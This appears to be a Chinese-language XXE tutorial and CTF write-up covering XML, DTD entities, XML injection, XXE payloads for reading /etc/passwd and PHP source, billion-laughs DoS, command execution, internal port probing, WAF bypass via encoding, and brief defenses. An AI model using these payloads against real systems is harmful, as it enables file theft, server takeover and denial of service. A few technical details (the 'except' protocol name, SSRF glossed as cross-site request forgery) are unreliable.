xxe漏洞
XXE漏洞(XML外部实体注入)
来源网站:从XML相关一步一步到XXE漏洞 - 先知社区 (aliyun.com)
一.XXE是什么?
XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
二.首先认识XML
- 可扩展标记语言(Extensible Markup Language),没有固定的标签,所有的标签都可以自定义。
- 使用简单的标记来描述数据
- 通常,xml被用于信息的记录和传递,因此经常被作用为配置文件
- XML 被设计用来传输和存储数据,其焦点是数据的内容。
- HTML 被设计用来显示数据,其焦点是数据的外观。
- HTML 旨在显示信息,而 XML 旨在传输信息
XML示例
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!--xml文件的声明-->
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title> <!--book的子元素-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->
三.DTD
DTD基本概念
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的。
DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体
dtd的引入方式
内部 DTD
使用内部的dtd文件,即将约束规则定义在xml文档中
<!DOCTYPE 根元素名称 [元素声明]>
代码示例
<?xml version="1.0"?>
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
外部 DTD
(1)引入外部的dtd文件
<!DOCTYPE 根元素名称 SYSTEM "dtd路径">
(2)使用外部的dtd文件(网络上的dtd文件)
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">
示例代码:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
DTD实体
- 实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
- 实体引用是对实体的引用。
- 实体可在内部或外部进行声明。
按实体有无参分类,实体分为一般实体和参数实体
一般实体的声明:<!ENTITY 实体名称 "实体内容">
引用一般实体的方法:&实体名称;
参数实体的声明:<!ENTITY % 实体名称 "实体内容">
引用参数实体的方法:%实体名称;
按实体使用方式分类,实体分为内部声明实体和引用外部实体
内部实体
<!ENTITY 实体名称 "实体的值">
内部实体示例代码:
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "Dawn">
<!ENTITY right "Copyright W3School.com.cn">
]>
<test>&writer;&right;</test>
外部实体
外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。
<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
外部实体示例代码:
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY b SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&file;&b;</author>
外部实体可支持http、file等协议。不同程序支持的协议不同:

常见的利用协议:
file://文件绝对路径 如:file:///etc/passwd
http://url/file.txt
php://filter/read=convert.base64-encode/resource=xxx.php
参数实体+外部实体
<!ENTITY % 实体名称 SYSTEM "URI/URL">
参数实体+外部实体示例代码:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
%file;
]>
%file(参数实体)是在DTD中被引用的,而&file是在xml文档中被引用的。
四.XML注入

XML注入是一种古老的技术,通过利用闭合标签改写XML文件实现的。
XML是一种数据组织存储的数据结构方式,安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以
改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注
入攻击。
XML注入前提条件
(1)用户能够控制数据的输入
(2)程序有拼凑的数据
注入实例
test1.xml
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<username>admin</username>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>
XML与HTML一样,也存在注入攻击,在注入的方法上也非常相似。
对于上面的xml文件,如果攻击者能够掌控password字段,那么就会产生XML注入。如攻击者输入:
<admin id="3">
<name>hack</name
><password>hacker</password>
</admin>
最终修改结果为:
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<name>admin</name>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
<admin id="3">
<name>hack</name>
<password>hacker</password>
</admin>
</manager>
这样就通过XML注入添加了一个名为hack、密码为:hacker的管理员账户。
XML注入两大要素:标签闭合和获取XML表结构
xxe利用(Payload)
约束通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合:
<!ELEMENT 标签名 ANY>
xxe的检测:
-
1.提交的数据包含xml格式如:
admin -
2.请求头中如:Content-Type: text/xml或Content-Type: application/xml
-
3.盲猜:更改content-type值application/xml看返回
-
4.在输入框内或接受XML数据的点输入payload,观察页面或者返回数据包内是否存在 Hello XXE 字样,也就是对于XXE攻击首先看此
处是否可以解析XML数据
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY words "Hello XXE !">
]>
<root>
&words;
</root>
xxe的危害:
1.任意文件读取(敏感数据泄露)
XXE攻击可以使攻击者读取服务器上的文件,包括配置文件、源代码、密码文件等,从而泄露敏感信息。
2.SSRF(跨站请求伪造)
通过XXE攻击,攻击者可能能够迫使服务器与内部系统或外部服务器进行交互,可能导致数据泄露或其他安全问题。
3.DOS攻击
XXE攻击可以用于发起拒绝服务攻击,例如通过指向大量消耗资源的外部实体或构造庞大的XML文档来耗尽服务器资源。
4.远程命令执行
在某些情况下,特别是当解析器支持强大的功能时,XXE攻击可以用于执行远程代码或系统命令,从而完全控制受影响的服务器。
5.内部系统扫描
攻击者可以利用XXE攻击探测内部网络,识别内部服务和应用,从而为进一步的攻击提供信息。
6.绕过防火墙
攻击者可以利用XXE漏洞绕过直接从外部网络访问内部网络资源的限制
EXP:
1.敏感信息泄露(任意文件读取)
php文件读取:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<creds>
<user>&xxe;</user>
</creds>
file协议读取文件:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<catalog>
<core id="test101">
<description>&xxe;</description>
</core>
</catalog>
SVG格式(一种基于XML的图像文件格式,用于创建二维矢量图形)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "要读取的文件路径" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
2.SSRF(跨站请求伪造)
3.DOS攻击
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<root>&lol9;</root>
这种EXP,其核心逻辑是通过不断的迭代,从而增大lol9变量的空间。最终可以使得lol9变量大小超过3个G,最终可以撑爆一些小型服务器的内存,从而使得服务器宕机。
4.远程命令执行
配合php拓展命令执行;如果是 PHP 环境并安装 except 扩展,就可以利用它执行系统命令了
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "except://id">
]>
<root>&xxe;</root>
5.探测内网端口
<?xml version = "1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://192.168.0.103:8080/index.txt">
]>
<root>&xxe;</root>
返回为空,说明内网中192.168.0.103服务器上,index.txt文件是存在的,也可以说8080端口是开放的,因此这里这个xxe漏洞,可以实现内网探针。
6.绕过防火墙(waf)
根据WAF处理XML验证的方式来研究两种类型的WAF:
1.成熟的waf——使用自己的解析器预处理XML文档的WAF。
2.基于正则表达式,仅搜索数据中的特定字符串或正则表达式的WAF。
eg:<!(?:DOCTYPE|ENTITY)(?:\s|%|&#[0-9]+;|&#x[0-9a-fA-F]+;)+[^\s]+\s+(?:SYSTEM|PUBLIC)\s+[\'\"]/im
绕过方法:
1.文档中的额外空格
由于XXE通常在XML文档的开头,所以比较省事儿的WAF可以避免处理整个文档,而只解析它的开头。但是,XML格式允许在格式化标记
属性时使用任意数量的空格,因此攻击者可以在<?xml?>或<!DOCTYPE>中插入额外的空格,从而绕过此类WAF。

2.格式无效
为了绕过WAF,还可以发送特殊格式的XML文档,以便WAF认为它们无效。

3.外来编码
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 -
utf-32BE,特别是不支持BOM。
4.在一个文档中使用两种类型的编码
绕过姿势
1.当只过滤了SYSTEM,PUBLIC等关键字时,可用双重实体编码(html)绕过
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % a "<!ENTITY xxe SYSTEM "file:///app/fl4g2533333333.txt" >" >
%a;
]>
<root>
<feedback>
&xxe;
</feedback>
</root>
//<!ENTITY xxe SYSTEM "file:///app/fl4g2533333333.txt" >为编码部分
html转码后:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % a "<!ENTITY xxe SYSTEM "file:///app/fl4g2533333333.txt" >" >
%a;
]>
<root>
<feedback>
&xxe;
</feedback>
</root>
2.使用编码方式绕过:UTF-16BE
构造poc:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file://etc/passwd">]>
<root>
<feedback>&xxe;</feedback>
</root>
然后保存为xml文件.

cat xxe.xml|iconv -f utf-8 -t utf-16be >xxe.8-16be.xml
解释一下:
将一个名为 xxe.xml 的文件从 UTF-8 编码转换为 UTF-16BE 编码,并将转换后的内容保存到一个新文件 xxe.8-16be.xml 中。
cat xxe.xml:读取 xxe.xml 文件的内容。
|:将 cat 命令的输出传递给后面的命令。
iconv -f utf-8 -t utf-16be:
iconv 是一个用于转换文件编码的命令。
-f utf-8 指定输入文件的编码格式是 UTF-8。
-t utf-16be 指定输出文件的编码格式是 UTF-16BE(大端字节序)。
> xxe.8-16be.xml:将转换后的内容重定向并保存到 xxe.8-16be.xml 文件中。
然后发包就行:
curl -X POST http://prob00-030.recruit.yulinsec.cn/ -H "Content-Type:application/xml;charset=UTF-16BE" --data-binary @xxe.8-16be.xml
解释:
curl 工具向指定的 URL 发送一个 POST 请求,将 xxe.8-16be.xml 文件的内容以 UTF-16BE 编码格式通过 POST 请求发送到指定的 URL。
curl -X POST:指定使用 POST 方法发送请求。
http://prob00-030.recruit.yulinsec.cn/:请求的目标 URL。
-H "Content-Type:application/xml;charset=UTF-16BE":设置请求头,指明内容类型为 XML,且使用 UTF-16BE 编码。
--data-binary @xxe.8-16be.xml:将名为 xxe.8-16be.xml 的文件作为请求的主体内容发送。
--data-binary 用于发送原始数据,确保文件内容按原样发送。

成功绕过。然后修改file伪协议读取的文件路径就行了
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file://app/fl4g25333333.txt">]>
<root>
<feedback>&xxe;</feedback>
</root>
3.http被过滤-->可以使用其他协议绕过,比如data://协议、file://协议加文件上传、php://filter协议加文件上传
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<root>&xxe;</root>
XML注入防御
(1)禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
(2)过滤用户提交的XML数据,过滤关键字:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC

浙公网安备 33010602011771号